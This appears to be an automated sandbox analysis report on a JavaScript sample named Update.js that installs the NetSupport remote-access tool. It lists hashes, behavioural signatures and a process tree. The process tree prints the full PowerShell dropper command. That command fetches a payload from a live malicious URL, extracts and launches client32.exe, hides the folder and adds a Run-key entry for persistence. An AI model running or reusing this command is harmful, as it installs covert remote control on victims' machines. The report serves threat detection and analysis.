Analysis
- max time kernel
94s - max time network
96s - platform
windows10-2004_x64 - resource
win10v2004-20240802-en - resource tags
- submitted
09/08/2024, 17:10
General
- Target Update.js
- Size 3.9MB
- Sample240809-vpyxeatanl
- SHA256 76f6ad7ac251a4529341f28fc1aa4dc0ee2836caccdcf146816dab5040697884
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://utvj.com/cdn-vs/data.php?8404
-
exe.dropper
http://utvj.com/cdn-vs/data.php?8404
Signatures
- NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
- Blocklisted process makes network request 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 6 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Update.js1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $AIFTCTV='http://utvj.com/cdn-vs/data.php?8404';$CWDA=(New-Object System.Net.WebClient).DownloadString($AIFTCTV);$ZIKF=[System.Convert]::FromBase64String($CWDA);$asd = Get-Random -Minimum -10 -Maximum 17; $NSLCAHFIZST=[System.Environment]::GetFolderPath('ApplicationData')+'\MDHYPSUAI'+$asd;if (!(Test-Path $NSLCAHFIZST -PathType Container)) { New-Item -Path $NSLCAHFIZST -ItemType Directory };$p=Join-Path $NSLCAHFIZST 'CCleaner.zip';[System.IO.File]::WriteAllBytes($p,$ZIKF);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$NSLCAHFIZST)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $NSLCAHFIZST 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $NSLCAHFIZST -Force; $fd.attributes='Hidden';$s=$NSLCAHFIZST+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='VZGDWET';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\MDHYPSUAI-2\client32.exe"C:\Users\Admin\AppData\Roaming\MDHYPSUAI-2\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_v0vkfum4.3up.ps1
HTCTL32.DLL
MSVCR100.dll
NSM.LIC
PCICHEK.DLL
PCICL32.DLL
client32.exe
client32.ini
pcicapi.dll
memory/3292-15-0x000001E2B4100000-0x000001E2B4112000-memory.dmp
memory/3292-0-0x00007FFACC543000-0x00007FFACC545000-memory.dmp
memory/3292-14-0x000001E2B40D0000-0x000001E2B40DA000-memory.dmp
memory/3292-88-0x00007FFACC540000-0x00007FFACD001000-memory.dmp
memory/3292-11-0x00007FFACC540000-0x00007FFACD001000-memory.dmp
memory/3292-12-0x00007FFACC540000-0x00007FFACD001000-memory.dmp
memory/3292-1-0x000001E2B3F60000-0x000001E2B3F82000-memory.dmp